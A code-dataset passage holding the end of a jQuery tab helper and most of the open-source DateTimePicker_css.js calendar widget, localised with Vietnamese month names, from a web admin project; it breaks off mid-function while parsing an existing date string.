$(this).wrapInner('<div class="cm-buttons-placeholder"></div>');
$(this).append('<div class="cm-buttons-floating hidden"></div>');
}
});
control_buttons_container = $('.buttons-bg');
control_buttons_floating = $('.cm-buttons-floating', control_buttons_container);
}
jQuery.buttonsPlaceholderToggle();
}
}
}); | 123gosaigon | trunk/ 123gosaigon/webadmin/templates/js/tabui.js | JavaScript | asf20 | 4,896 |
//Javasript name: My Date Time Picker
//Date created: 16-Nov-2003 23:19
//Creator: TengYong Ng
//Website: http://www.rainforestnet.com
//Copyright (c) 2003 TengYong Ng
//FileName: DateTimePicker_css.js
//Version: 2.2.0
// Note: Permission given to use and modify this script in ANY kind of applications if
// header lines are left unchanged.
//Permission is granted to redistribute and modify this javascript under the terms of the GNU General Public License 3.0.
//New Css style version added by Yvan Lavoie (Québec, Canada) 29-Jan-2009
//Formatted for JSLint compatibility by Labsmedia.com (30-Dec-2010)
//Global variables
var winCal;
var dtToday;
var Cal;
var MonthName;
var WeekDayName1;
var WeekDayName2;
var exDateTime;//Existing Date and Time
var selDate;//selected date. version 1.7
var calSpanID = "calBorder"; // span ID
var domStyle = null; // span DOM object with style
var cnLeft = "0";//left coordinate of calendar span
var cnTop = "0";//top coordinate of calendar span
var xpos = 0; // mouse x position
var ypos = 0; // mouse y position
var calHeight = 0; // calendar height
var CalWidth = 208;// calendar width
var CellWidth = 30;// width of day cell.
var TimeMode = 24;// TimeMode value. 12 or 24
var StartYear = 1940; //First Year in drop down year selection
var EndYear = 5; // The last year of pickable date. if current year is 2011, the last year that still picker will be 2016 (2011+5)
var CalPosOffsetX = -10; //X position offset relative to calendar icon, can be negative value
var CalPosOffsetY = 40; //Y position offset relative to calendar icon, can be negative value
//Configurable parameters
//var WindowTitle = "DateTime Picker";//Date Time Picker title.
var SpanBorderColor = "#E5E5E5";//span border color
var SpanBgColor = "#FFFFFF"; //span background color
var MonthYearColor = "#cc0033"; //Font Color of Month and Year in Calendar header.
var WeekHeadColor = "#18861B"; //var WeekHeadColor="#18861B";//Background Color in Week header.
var SundayColor = "#C0F64F"; //var SundayColor="#C0F64F";//Background color of Sunday.
var SaturdayColor = "#C0F64F"; //Background color of Saturday.
var WeekDayColor = "#FFEDA6"; //Background color of weekdays.
var FontColor = "blue"; //color of font in Calendar day cell.
var TodayColor = "#ffbd35"; //var TodayColor="#FFFF33";//Background color of today.
var SelDateColor = "#8DD53C"; //var SelDateColor = "#8DD53C";//Backgrond color of selected date in textbox.
var YrSelColor = "#cc0033"; //color of font of Year selector.
var MthSelColor = "#cc0033"; //color of font of Month selector if "MonthSelector" is "arrow".
var HoverColor = "#E0FF38"; //color when mouse move over.
var DisableColor = "#999966"; //color of disabled cell.
var CalBgColor = "#ffffff"; //Background color of Calendar window.
var WeekChar = 2;//number of character for week day. if 2 then Mo,Tu,We. if 3 then Mon,Tue,Wed.
var DateSeparator = "-";//Date Separator, you can change it to "-" if you want.
var ShowLongMonth = true;//Show long month name in Calendar header. example: "January".
var ShowMonthYear = true;//Show Month and Year in Calendar header.
var ThemeBg = "";//Background image of Calendar window.
var PrecedeZero = true;//Preceding zero [true|false]
var MondayFirstDay = true;//true:Use Monday as first day; false:Sunday as first day. [true|false] //added in version 1.7
var UseImageFiles = true;//Use image files with "arrows" and "close" button
var DisableBeforeToday = false; //Make date before today unclickable.
var imageFilesPath = url + "templates/images/date_picker/";
//use the Month and Weekday in your preferred language.
var MonthName = ["Tháng 1", "Tháng 2", "Tháng 3", "Tháng 4", "Tháng 5", "Tháng 6", "Tháng 7", "Tháng 8", "Tháng 9", "Tháng 10", "Tháng 11", "Tháng 12"];
var WeekDayName1 = ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"];
var WeekDayName2 = ["T2", "T3", "T4", "T5", "T6", "T7", "CN"];
//end Configurable parameters
//end Global variable
// Calendar prototype
function Calendar(pDate, pCtrl)
{
//Properties
this.Date = pDate.getDate();//selected date
this.Month = pDate.getMonth();//selected month number
this.Year = pDate.getFullYear();//selected year in 4 digits
this.Hours = pDate.getHours();
if (pDate.getMinutes() < 10)
{
this.Minutes = "0" + pDate.getMinutes();
}
else
{
this.Minutes = pDate.getMinutes();
}
if (pDate.getSeconds() < 10)
{
this.Seconds = "0" + pDate.getSeconds();
}
else
{
this.Seconds = pDate.getSeconds();
}
this.MyWindow = winCal;
this.Ctrl = pCtrl;
this.Format = "ddMMyyyy";
this.Separator = DateSeparator;
this.ShowTime = false;
this.Scroller = "DROPDOWN";
if (pDate.getHours() < 12)
{
this.AMorPM = "AM";
}
else
{
this.AMorPM = "PM";
}
this.ShowSeconds = false;
}
Calendar.prototype.GetMonthIndex = function (shortMonthName)
{
for (var i = 0; i < 12; i += 1)
{
if (MonthName[i].substring(0, 3).toUpperCase() === shortMonthName.toUpperCase())
{
return i;
}
}
};
Calendar.prototype.IncYear = function () {
if (Cal.Year <= dtToday.getFullYear()+EndYear)
Cal.Year += 1;
};
Calendar.prototype.DecYear = function () {
if (Cal.Year > StartYear)
Cal.Year -= 1;
};
Calendar.prototype.IncMonth = function() {
if (Cal.Year <= dtToday.getFullYear() + EndYear) {
Cal.Month += 1;
if (Cal.Month >= 12) {
Cal.Month = 0;
Cal.IncYear();
}
}
};
Calendar.prototype.DecMonth = function() {
if (Cal.Year >= StartYear) {
Cal.Month -= 1;
if (Cal.Month < 0) {
Cal.Month = 11;
Cal.DecYear();
}
}
};
Calendar.prototype.SwitchMth = function (intMth)
{
Cal.Month = parseInt(intMth, 10);
};
Calendar.prototype.SwitchYear = function (intYear)
{
Cal.Year = parseInt(intYear, 10);
};
Calendar.prototype.SetHour = function (intHour)
{
var MaxHour,
MinHour,
HourExp = new RegExp("^\\d\\d"),
SingleDigit = new RegExp("\\d");
if (TimeMode === 24)
{
MaxHour = 23;
MinHour = 0;
}
else if (TimeMode === 12)
{
MaxHour = 12;
MinHour = 1;
}
else
{
alert("TimeMode can only be 12 or 24");
}
if ((HourExp.test(intHour) || SingleDigit.test(intHour)) && (parseInt(intHour, 10) > MaxHour))
{
intHour = MinHour;
}
else if ((HourExp.test(intHour) || SingleDigit.test(intHour)) && (parseInt(intHour, 10) < MinHour))
{
intHour = MaxHour;
}
if (SingleDigit.test(intHour))
{
intHour = "0" + intHour;
}
if (HourExp.test(intHour) && (parseInt(intHour, 10) <= MaxHour) && (parseInt(intHour, 10) >= MinHour))
{
if ((TimeMode === 12) && (Cal.AMorPM === "PM"))
{
if (parseInt(intHour, 10) === 12)
{
Cal.Hours = 12;
}
else
{
Cal.Hours = parseInt(intHour, 10) + 12;
}
}
else if ((TimeMode === 12) && (Cal.AMorPM === "AM"))
{
if (intHour === 12)
{
intHour -= 12;
}
Cal.Hours = parseInt(intHour, 10);
}
else if (TimeMode === 24)
{
Cal.Hours = parseInt(intHour, 10);
}
}
};
Calendar.prototype.SetMinute = function (intMin)
{
var MaxMin = 59,
MinMin = 0,
SingleDigit = new RegExp("\\d"),
SingleDigit2 = new RegExp("^\\d{1}$"),
MinExp = new RegExp("^\\d{2}$"),
strMin = 0;
if ((MinExp.test(intMin) || SingleDigit.test(intMin)) && (parseInt(intMin, 10) > MaxMin))
{
intMin = MinMin;
}
else if ((MinExp.test(intMin) || SingleDigit.test(intMin)) && (parseInt(intMin, 10) < MinMin))
{
intMin = MaxMin;
}
strMin = intMin + "";
if (SingleDigit2.test(intMin))
{
strMin = "0" + strMin;
}
if ((MinExp.test(intMin) || SingleDigit.test(intMin)) && (parseInt(intMin, 10) <= 59) && (parseInt(intMin, 10) >= 0))
{
Cal.Minutes = strMin;
}
};
Calendar.prototype.SetSecond = function (intSec)
{
var MaxSec = 59,
MinSec = 0,
SingleDigit = new RegExp("\\d"),
SingleDigit2 = new RegExp("^\\d{1}$"),
SecExp = new RegExp("^\\d{2}$"),
strSec = 0;
if ((SecExp.test(intSec) || SingleDigit.test(intSec)) && (parseInt(intSec, 10) > MaxSec))
{
intSec = MinSec;
}
else if ((SecExp.test(intSec) || SingleDigit.test(intSec)) && (parseInt(intSec, 10) < MinSec))
{
intSec = MaxSec;
}
strSec = intSec + "";
if (SingleDigit2.test(intSec))
{
strSec = "0" + strSec;
}
if ((SecExp.test(intSec) || SingleDigit.test(intSec)) && (parseInt(intSec, 10) <= 59) && (parseInt(intSec, 10) >= 0))
{
Cal.Seconds = strSec;
}
};
Calendar.prototype.SetAmPm = function (pvalue)
{
this.AMorPM = pvalue;
if (pvalue === "PM")
{
this.Hours = parseInt(this.Hours, 10) + 12;
if (this.Hours === 24)
{
this.Hours = 12;
}
}
else if (pvalue === "AM")
{
this.Hours -= 12;
}
};
Calendar.prototype.getShowHour = function ()
{
var finalHour;
if (TimeMode === 12)
{
if (parseInt(this.Hours, 10) === 0)
{
this.AMorPM = "AM";
finalHour = parseInt(this.Hours, 10) + 12;
}
else if (parseInt(this.Hours, 10) === 12)
{
this.AMorPM = "PM";
finalHour = 12;
}
else if (this.Hours > 12)
{
this.AMorPM = "PM";
if ((this.Hours - 12) < 10)
{
finalHour = "0" + ((parseInt(this.Hours, 10)) - 12);
}
else
{
finalHour = parseInt(this.Hours, 10) - 12;
}
}
else
{
this.AMorPM = "AM";
if (this.Hours < 10)
{
finalHour = "0" + parseInt(this.Hours, 10);
}
else
{
finalHour = this.Hours;
}
}
}
else if (TimeMode === 24)
{
if (this.Hours < 10)
{
finalHour = "0" + parseInt(this.Hours, 10);
}
else
{
finalHour = this.Hours;
}
}
return finalHour;
};
Calendar.prototype.getShowAMorPM = function ()
{
return this.AMorPM;
};
Calendar.prototype.GetMonthName = function (IsLong)
{
var Month = MonthName[this.Month];
if (IsLong)
{
return Month;
}
else
{
return Month.substr(0, 3);
}
};
Calendar.prototype.GetMonDays = function() { //Get number of days in a month
var DaysInMonth = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
if (Cal.IsLeapYear()) {
DaysInMonth[1] = 29;
}
return DaysInMonth[this.Month];
};
Calendar.prototype.IsLeapYear = function ()
{
if ((this.Year % 4) === 0)
{
if ((this.Year % 100 === 0) && (this.Year % 400) !== 0)
{
return false;
}
else
{
return true;
}
}
else
{
return false;
}
};
Calendar.prototype.FormatDate = function (pDate)
{
var MonthDigit = this.Month + 1;
if (PrecedeZero === true)
{
if ((pDate < 10) && String(pDate).length===1) //length checking added in version 2.2
{
pDate = "0" + pDate;
}
if (MonthDigit < 10)
{
MonthDigit = "0" + MonthDigit;
}
}
switch (this.Format.toUpperCase())
{
case "DDMMYYYY":
return (pDate + DateSeparator + MonthDigit + DateSeparator + this.Year);
case "DDMMMYYYY":
return (pDate + DateSeparator + this.GetMonthName(false) + DateSeparator + this.Year);
case "MMDDYYYY":
return (MonthDigit + DateSeparator + pDate + DateSeparator + this.Year);
case "MMMDDYYYY":
return (this.GetMonthName(false) + DateSeparator + pDate + DateSeparator + this.Year);
case "YYYYMMDD":
return (this.Year + DateSeparator + MonthDigit + DateSeparator + pDate);
case "YYMMDD":
return (String(this.Year).substring(2, 4) + DateSeparator + MonthDigit + DateSeparator + pDate);
case "YYMMMDD":
return (String(this.Year).substring(2, 4) + DateSeparator + this.GetMonthName(false) + DateSeparator + pDate);
case "YYYYMMMDD":
return (this.Year + DateSeparator + this.GetMonthName(false) + DateSeparator + pDate);
default:
return (pDate + DateSeparator + (this.Month + 1) + DateSeparator + this.Year);
}
};
// end Calendar prototype
function GenCell(pValue, pHighLight, pColor, pClickable)
{ //Generate table cell with value
var PValue,
PCellStr,
PClickable,
vTimeStr;
if (!pValue)
{
PValue = "";
}
else
{
PValue = pValue;
}
if (pColor === undefined)
pColor = CalBgColor;
if (pClickable !== undefined){
PClickable = pClickable;
}
else{
PClickable = true;
}
if (Cal.ShowTime)
{
vTimeStr = ' ' + Cal.Hours + ':' + Cal.Minutes;
if (Cal.ShowSeconds)
{
vTimeStr += ':' + Cal.Seconds;
}
if (TimeMode === 12)
{
vTimeStr += ' ' + Cal.AMorPM;
}
}
else
{
vTimeStr = "";
}
if (PValue !== "")
{
if (PClickable === true) {
if (Cal.ShowTime === true)
{ PCellStr = "<td id='c" + PValue + "' class='calTD' style='text-align:center;cursor:pointer;background-color:"+pColor+"' onmousedown='selectDate(this," + PValue + ");'>" + PValue + "</td>"; }
else { PCellStr = "<td class='calTD' style='text-align:center;cursor:pointer;background-color:" + pColor + "' onmouseover='changeBorder(this, 0);' onmouseout=\"changeBorder(this, 1, '" + pColor + "');\" onClick=\"javascript:callback('" + Cal.Ctrl + "','" + Cal.FormatDate(PValue) + "');\">" + PValue + "</td>"; }
}
else
{ PCellStr = "<td style='text-align:center;background-color:"+pColor+"' class='calTD'>"+PValue+"</td>"; }
}
else
{ PCellStr = "<td style='text-align:center;background-color:"+pColor+"' class='calTD'> </td>"; }
return PCellStr;
}
function RenderCssCal(bNewCal)
{
if (typeof bNewCal === "undefined" || bNewCal !== true)
{
bNewCal = false;
}
var vCalHeader,
vCalData,
vCalTime = "",
vCalClosing = "",
winCalData = "",
CalDate,
i,
j,
SelectStr,
vDayCount = 0,
vFirstDay,
WeekDayName = [],//Added version 1.7
strCell,
showHour,
ShowArrows = false,
HourCellWidth = "35px", //cell width with seconds.
SelectAm,
SelectPm,
funcCalback,
headID,
e,
cssStr,
style,
cssText,
span;
calHeight = 0; // reset the window height on refresh
// Set the default cursor for the calendar
winCalData = "<span style='cursor:auto;'>";
vCalHeader = "<table style='background-color:"+CalBgColor+";width:200px;padding:0;margin:5px auto 5px auto'><tbody>";
//Table for Month & Year Selector
vCalHeader += "<tr><td colspan='7'><table border='0' width='200px' cellpadding='0' cellspacing='0'><tr>";
//******************Month and Year selector in dropdown list************************
if (Cal.Scroller === "DROPDOWN")
{
vCalHeader += "<td align='center'><select name='MonthSelector' onChange='javascript:Cal.SwitchMth(this.selectedIndex);RenderCssCal();'>";
for (i = 0; i < 12; i += 1)
{
if (i === Cal.Month)
{
SelectStr = "Selected";
}
else
{
SelectStr = "";
}
vCalHeader += "<option " + SelectStr + " value=" + i + ">" + MonthName[i] + "</option>";
}
vCalHeader += "</select></td>";
//Year selector
vCalHeader += "<td align='center'><select name='YearSelector' size='1' onChange='javascript:Cal.SwitchYear(this.value);RenderCssCal();'>";
for (i = StartYear; i <= (dtToday.getFullYear() + EndYear); i += 1)
{
if (i === Cal.Year)
{
SelectStr = 'selected="selected"';
}
else
{
SelectStr = '';
}
vCalHeader += "<option " + SelectStr + " value=" + i + ">" + i + "</option>\n";
}
vCalHeader += "</select></td>\n";
calHeight += 30;
}
//******************End Month and Year selector in dropdown list*********************
//******************Month and Year selector in arrow*********************************
else if (Cal.Scroller === "ARROW")
{
if (UseImageFiles)
{
vCalHeader += "<td><img onmousedown='javascript:Cal.DecYear();RenderCssCal();' src='"+imageFilesPath+"cal_fastreverse.gif' width='13px' height='9' onmouseover='changeBorder(this, 0)' onmouseout='changeBorder(this, 1)' style='border:1px solid white'></td>\n";//Year scroller (decrease 1 year)
vCalHeader += "<td><img onmousedown='javascript:Cal.DecMonth();RenderCssCal();' src='" + imageFilesPath + "cal_reverse.gif' width='13px' height='9' onmouseover='changeBorder(this, 0)' onmouseout='changeBorder(this, 1)' style='border:1px solid white'></td>\n"; //Month scroller (decrease 1 month)
vCalHeader += "<td width='70%' class='calR' style='color:"+YrSelColor+"'>"+ Cal.GetMonthName(ShowLongMonth) + " " + Cal.Year + "</td>"; //Month and Year
vCalHeader += "<td><img onmousedown='javascript:Cal.IncMonth();RenderCssCal();' src='" + imageFilesPath + "cal_forward.gif' width='13px' height='9' onmouseover='changeBorder(this, 0)' onmouseout='changeBorder(this, 1)' style='border:1px solid white'></td>\n"; //Month scroller (increase 1 month)
vCalHeader += "<td><img onmousedown='javascript:Cal.IncYear();RenderCssCal();' src='" + imageFilesPath + "cal_fastforward.gif' width='13px' height='9' onmouseover='changeBorder(this, 0)' onmouseout='changeBorder(this, 1)' style='border:1px solid white'></td>\n"; //Year scroller (increase 1 year)
calHeight += 22;
}
else
{
vCalHeader += "<td><span id='dec_year' title='reverse year' onmousedown='javascript:Cal.DecYear();RenderCssCal();' onmouseover='changeBorder(this, 0)' onmouseout='changeBorder(this, 1)' style='border:1px solid white; color:" + YrSelColor + "'>-</span></td>";//Year scroller (decrease 1 year)
vCalHeader += "<td><span id='dec_month' title='reverse month' onmousedown='javascript:Cal.DecMonth();RenderCssCal();' onmouseover='changeBorder(this, 0)' onmouseout='changeBorder(this, 1)' style='border:1px solid white'><</span></td>\n";//Month scroller (decrease 1 month)
vCalHeader += "<td width='70%' class='calR' style='color:" + YrSelColor + "'>" + Cal.GetMonthName(ShowLongMonth) + " " + Cal.Year + "</td>\n"; //Month and Year
vCalHeader += "<td><span id='inc_month' title='forward month' onmousedown='javascript:Cal.IncMonth();RenderCssCal();' onmouseover='changeBorder(this, 0)' onmouseout='changeBorder(this, 1)' style='border:1px solid white'>></span></td>\n";//Month scroller (increase 1 month)
vCalHeader += "<td><span id='inc_year' title='forward year' onmousedown='javascript:Cal.IncYear();RenderCssCal();' onmouseover='changeBorder(this, 0)' onmouseout='changeBorder(this, 1)' style='border:1px solid white; color:" + YrSelColor + "'>+</span></td>\n";//Year scroller (increase 1 year)
calHeight += 22;
}
}
vCalHeader += "</tr></table></td></tr>";
//******************End Month and Year selector in arrow******************************
//Calendar header shows Month and Year
if (ShowMonthYear && Cal.Scroller === "DROPDOWN")
{
vCalHeader += "<tr><td colspan='7' class='calR' style='color:" + MonthYearColor + "'>" + Cal.GetMonthName(ShowLongMonth) + " " + Cal.Year + "</td></tr>";
calHeight += 19;
}
//Week day header
vCalHeader += "<tr><td colspan=\"7\"><table style='border-spacing:1px;border-collapse:separate;'><tr>";
if (MondayFirstDay === true)
{
WeekDayName = WeekDayName2;
}
else
{
WeekDayName = WeekDayName1;
}
for (i = 0; i < 7; i += 1)
{
vCalHeader += "<td style='background-color:"+WeekHeadColor+";width:"+CellWidth+"px;color:#FFFFFF' class='calTD'>" + WeekDayName[i].substr(0, WeekChar) + "</td>";
}
calHeight += 19;
vCalHeader += "</tr>";
//Calendar detail
CalDate = new Date(Cal.Year, Cal.Month);
CalDate.setDate(1);
vFirstDay = CalDate.getDay();
//Added version 1.7
if (MondayFirstDay === true)
{
vFirstDay -= 1;
if (vFirstDay === -1)
{
vFirstDay = 6;
}
}
//Added version 1.7
vCalData = "<tr>";
calHeight += 19;
for (i = 0; i < vFirstDay; i += 1)
{
vCalData = vCalData + GenCell();
vDayCount = vDayCount + 1;
}
//Added version 1.7
for (j = 1; j <= Cal.GetMonDays(); j += 1)
{
if ((vDayCount % 7 === 0) && (j > 1))
{
vCalData = vCalData + "<tr>";
}
vDayCount = vDayCount + 1;
//added version 2.1.2
if (DisableBeforeToday === true && ((j < dtToday.getDate()) && (Cal.Month === dtToday.getMonth()) && (Cal.Year === dtToday.getFullYear()) || (Cal.Month < dtToday.getMonth()) && (Cal.Year === dtToday.getFullYear()) || (Cal.Year < dtToday.getFullYear())))
{
strCell = GenCell(j, false, DisableColor, false);//Before today's date is not clickable
}
//if End Year + Current Year = Cal.Year. Disable.
else if (Cal.Year > (dtToday.getFullYear()+EndYear))
{
strCell = GenCell(j, false, DisableColor, false);
}
else if ((j === dtToday.getDate()) && (Cal.Month === dtToday.getMonth()) && (Cal.Year === dtToday.getFullYear()))
{
strCell = GenCell(j, true, TodayColor);//Highlight today's date
}
else
{
if ((j === selDate.getDate()) && (Cal.Month === selDate.getMonth()) && (Cal.Year === selDate.getFullYear())){
//modified version 1.7
strCell = GenCell(j, true, SelDateColor);
}
else
{
if (MondayFirstDay === true)
{
if (vDayCount % 7 === 0)
{
strCell = GenCell(j, false, SundayColor);
}
else if ((vDayCount + 1) % 7 === 0)
{
strCell = GenCell(j, false, SaturdayColor);
}
else
{
strCell = GenCell(j, null, WeekDayColor);
}
}
else
{
if (vDayCount % 7 === 0)
{
strCell = GenCell(j, false, SaturdayColor);
}
else if ((vDayCount + 6) % 7 === 0)
{
strCell = GenCell(j, false, SundayColor);
}
else
{
strCell = GenCell(j, null, WeekDayColor);
}
}
}
}
vCalData = vCalData + strCell;
if ((vDayCount % 7 === 0) && (j < Cal.GetMonDays()))
{
vCalData = vCalData + "</tr>";
calHeight += 19;
}
}
// finish the table proper
if (vDayCount % 7 !== 0)
{
while (vDayCount % 7 !== 0)
{
vCalData = vCalData + GenCell();
vDayCount = vDayCount + 1;
}
}
vCalData = vCalData + "</table></td></tr>";
//Time picker
if (Cal.ShowTime === true)
{
showHour = Cal.getShowHour();
if (Cal.ShowSeconds === false && TimeMode === 24)
{
ShowArrows = true;
HourCellWidth = "10px";
}
vCalTime = "<tr><td colspan='7' style=\"text-align:center;\"><table border='0' width='199px' cellpadding='0' cellspacing='0'><tbody><tr><td height='5px' width='" + HourCellWidth + "'> </td>";
if (ShowArrows && UseImageFiles) //this is where the up and down arrow control the hour.
{
vCalTime += "<td style='vertical-align:middle;'><table cellspacing='0' cellpadding='0' style='line-height:0pt;width:100%;'><tr><td style='text-align:center;'><img onclick='nextStep(\"Hour\", \"plus\");' onmousedown='startSpin(\"Hour\", \"plus\");' onmouseup='stopSpin();' src='" + imageFilesPath + "cal_plus.gif' width='13px' height='9px' onmouseover='changeBorder(this, 0)' onmouseout='changeBorder(this, 1)' style='border:1px solid white'></td></tr><tr><td style='text-align:center;'><img onclick='nextStep(\"Hour\", \"minus\");' onmousedown='startSpin(\"Hour\", \"minus\");' onmouseup='stopSpin();' src='" + imageFilesPath + "cal_minus.gif' width='13px' height='9px' onmouseover='changeBorder(this, 0)' onmouseout='changeBorder(this, 1)' style='border:1px solid white'></td></tr></table></td>\n";
}
vCalTime += "<td width='22px'><input type='text' name='hour' maxlength=2 size=1 style=\"WIDTH:22px\" value=" + showHour + " onkeyup=\"javascript:Cal.SetHour(this.value)\">";
vCalTime += "</td><td style='font-weight:bold;text-align:center;'>:</td><td width='22px'>";
vCalTime += "<input type='text' name='minute' maxlength=2 size=1 style=\"WIDTH: 22px\" value=" + Cal.Minutes + " onkeyup=\"javascript:Cal.SetMinute(this.value)\">";
if (Cal.ShowSeconds)
{
vCalTime += "</td><td style='font-weight:bold;'>:</td><td width='22px'>";
vCalTime += "<input type='text' name='second' maxlength=2 size=1 style=\"WIDTH: 22px\" value=" + Cal.Seconds + " onkeyup=\"javascript:Cal.SetSecond(parseInt(this.value,10))\">";
}
if (TimeMode === 12)
{
SelectAm = (Cal.AMorPM === "AM") ? "Selected" : "";
SelectPm = (Cal.AMorPM === "PM") ? "Selected" : "";
vCalTime += "</td><td>";
vCalTime += "<select name=\"ampm\" onChange=\"javascript:Cal.SetAmPm(this.options[this.selectedIndex].value);\">\n";
vCalTime += "<option " + SelectAm + " value=\"AM\">AM</option>";
vCalTime += "<option " + SelectPm + " value=\"PM\">PM<option>";
vCalTime += "</select>";
}
if (ShowArrows && UseImageFiles) //this is where the up and down arrow to change the "Minute".
{
vCalTime += "</td>\n<td style='vertical-align:middle;'><table cellspacing='0' cellpadding='0' style='line-height:0pt;width:100%'><tr><td style='text-align:center;'><img onclick='nextStep(\"Minute\", \"plus\");' onmousedown='startSpin(\"Minute\", \"plus\");' onmouseup='stopSpin();' src='" + imageFilesPath + "cal_plus.gif' width='13px' height='9px' onmouseover='changeBorder(this, 0)' onmouseout='changeBorder(this, 1)' style='border:1px solid white'></td></tr><tr><td style='text-align:center;'><img onmousedown='startSpin(\"Minute\", \"minus\");' onmouseup='stopSpin();' onclick='nextStep(\"Minute\",\"minus\");' src='" + imageFilesPath + "cal_minus.gif' width='13px' height='9px' onmouseover='changeBorder(this, 0)' onmouseout='changeBorder(this, 1)' style='border:1px solid white'></td></tr></table>";
}
vCalTime += "</td>\n<td align='right' valign='bottom' width='" + HourCellWidth + "px'></td></tr>";
vCalTime += "<tr><td colspan='7' style=\"text-align:center;\"><input style='width:60px;font-size:12px;' onClick='javascript:closewin(\"" + Cal.Ctrl + "\");' type=\"button\" value=\"OK\"> <input style='width:60px;font-size:12px;' onClick='javascript: winCal.style.visibility = \"hidden\"' type=\"button\" value=\"Cancel\"></td></tr>";
}
else //if not to show time.
{
vCalTime += "\n<tr>\n<td colspan='7' style=\"text-align:right;\">";
//close button
if (UseImageFiles) {
vCalClosing += "<img onmousedown='javascript:closewin(\"" + Cal.Ctrl + "\"); stopSpin();' src='"+imageFilesPath+"cal_close.gif' width='16px' height='16px' onmouseover='changeBorder(this,0)' onmouseout='changeBorder(this, 1)' style='border:1px solid white'></td>";
}
else {
vCalClosing += "<span id='close_cal' title='close'onmousedown='javascript:closewin(\"" + Cal.Ctrl + "\");stopSpin();' onmouseover='changeBorder(this, 0)'onmouseout='changeBorder(this, 1)' style='border:1px solid white; font-family: Arial;font-size: 10pt;'>x</span></td>";
}
vCalClosing += "</tr>";
}
vCalClosing += "</tbody></table></td></tr>";
calHeight += 31;
vCalClosing += "</tbody></table>\n</span>";
//end time picker
funcCalback = "function callback(id, datum) {";
funcCalback += " var CalId = document.getElementById(id);if (datum=== 'undefined') { var d = new Date(); datum = d.getDate() + '/' +(d.getMonth()+1) + '/' + d.getFullYear(); } window.calDatum=datum;CalId.value=datum;";
funcCalback += " if(Cal.ShowTime){";
funcCalback += " CalId.value+=' '+Cal.getShowHour()+':'+Cal.Minutes;";
funcCalback += " if (Cal.ShowSeconds) CalId.value+=':'+Cal.Seconds;";
funcCalback += " if (TimeMode === 12) CalId.value+=''+Cal.getShowAMorPM();";
funcCalback += "}if(CalId.onchange===true) CalId.onchange();CalId.focus();winCal.style.visibility='hidden';}";
// determines if there is enough space to open the cal above the position where it is called
if (ypos > calHeight)
{
ypos = ypos - calHeight;
}
if (!winCal)
{
headID = document.getElementsByTagName("head")[0];
// add javascript function to the span cal
e = document.createElement("script");
e.type = "text/javascript";
e.language = "javascript";
e.text = funcCalback;
headID.appendChild(e);
// add stylesheet to the span cal
cssStr = ".calTD {font-family: verdana; font-size: 12px; text-align: center; border:0; }\n";
cssStr += ".calR {font-family: verdana; font-size: 12px; text-align: center; font-weight: bold;}";
style = document.createElement("style");
style.type = "text/css";
style.rel = "stylesheet";
if (style.styleSheet)
{ // IE
style.styleSheet.cssText = cssStr;
}
else
{ // w3c
cssText = document.createTextNode(cssStr);
style.appendChild(cssText);
}
headID.appendChild(style);
// create the outer frame that allows the cal. to be moved
span = document.createElement("span");
span.id = calSpanID;
span.style.position = "absolute";
span.style.left = (xpos + CalPosOffsetX) + 'px';
span.style.top = (ypos - CalPosOffsetY) + 'px';
span.style.width = CalWidth + 'px';
span.style.border = "solid 1pt " + SpanBorderColor;
span.style.padding = "0";
span.style.cursor = "move";
span.style.backgroundColor = SpanBgColor;
span.style.zIndex = 100;
document.body.appendChild(span);
winCal = document.getElementById(calSpanID);
}
else
{
winCal.style.visibility = "visible";
winCal.style.Height = calHeight;
// set the position for a new calendar only
if (bNewCal === true)
{
winCal.style.left = (xpos + CalPosOffsetX) + 'px';
winCal.style.top = (ypos - CalPosOffsetY) + 'px';
}
}
winCal.innerHTML = winCalData + vCalHeader + vCalData + vCalTime + vCalClosing;
return true;
}
function NewCssCal(pCtrl, pFormat, pScroller, pShowTime, pTimeMode, pShowSeconds)
{
// get current date and time
dtToday = new Date();
Cal = new Calendar(dtToday);
if (pShowTime !== undefined)
{
if (pShowTime) {
Cal.ShowTime = true;
}
else {
Cal.ShowTime = false;
}
if (pTimeMode)
{
pTimeMode = parseInt(pTimeMode, 10);
}
if (pTimeMode === 12 || pTimeMode === 24)
{
TimeMode = pTimeMode;
}
else
{
TimeMode = 24;
}
if (pShowSeconds !== undefined)
{
if (pShowSeconds)
{
Cal.ShowSeconds = true;
}
else
{
Cal.ShowSeconds = false;
}
}
else
{
Cal.ShowSeconds = false;
}
}
if (pCtrl !== undefined)
{
Cal.Ctrl = pCtrl;
}
if (pFormat !== undefined)
{
Cal.Format = pFormat.toUpperCase();
}
else
{
Cal.Format = "MMDDYYYY";
}
if (pScroller !== undefined)
{
if (pScroller.toUpperCase() === "ARROW")
{
Cal.Scroller = "ARROW";
}
else
{
Cal.Scroller = "DROPDOWN";
}
}
exDateTime = document.getElementById(pCtrl).value; //Existing Date Time value in textbox.
if (exDateTime)
{ //Parse existing Date String
var Sp1 = exDateTime.indexOf(DateSeparator, 0),//Index of Date Separator 1
Sp2 = exDateTime.indexOf(DateSeparator, parseInt(Sp1, 10) + 1),//Index of Date Separator 2
tSp1,//Index of Time Separator 1
tSp2,//Index of Time Separator 2
strMonth,
strDate,
strYear,
intMonth,
YearPattern,
strHour,
strMinute,
strSecond,
winHeight,
offset = parseInt(Cal.Format.toUpperCase().lastIndexOf("M"), 10) - parseInt(Cal.Format.toUpperCase().indexOf("M"), 10) - 1,
strAMPM = "";
//parse month
if (Cal.Format.toUpperCase() === "DDMMYYYY" || Cal.Format.toUpperCase() === "DDMMMYYYY")
{
if (DateSeparator === "")
{
strMonth = exDateTime.substring(2, 4 + offset);
strDate = exDateTime.substring(0, 2);
strYear = exDateTime.substring(4 + offset, 8 + offset);
}
else
{
if (exDateTime.indexOf("D*") !== -1)
{ //DTG
strMonth = exDateTime.substring(8, 11);
strDate = exDateTime.substring(0, 2);
strYear = "20" + exDateTime.substring(11, 13); //Hack, nur für Jahreszahlen ab 2000
}
else
{
strMonth = exDateTime.substring(Sp1 + 1, Sp2);
strDate = exDateTime.substring(0, Sp1);
strYear = exDateTime.substring(Sp2 + 1, Sp2 + 5);
}
}
}
else if (Cal.Format.toUpperCase() === "MMDDYYYY" || Cal.Format.toUpperCase() === "MMMDDYYYY"){
if (DateSeparator === ""){
strMonth = exDateTime.substring(0, 2 + offset);
strDate = exDateTime.substring(2 + offset, 4 + offset);
strYear = exDateTime.substring(4 + offset, 8 + offset);
}
else{
strMonth = exDateTime.substring(0, Sp1);
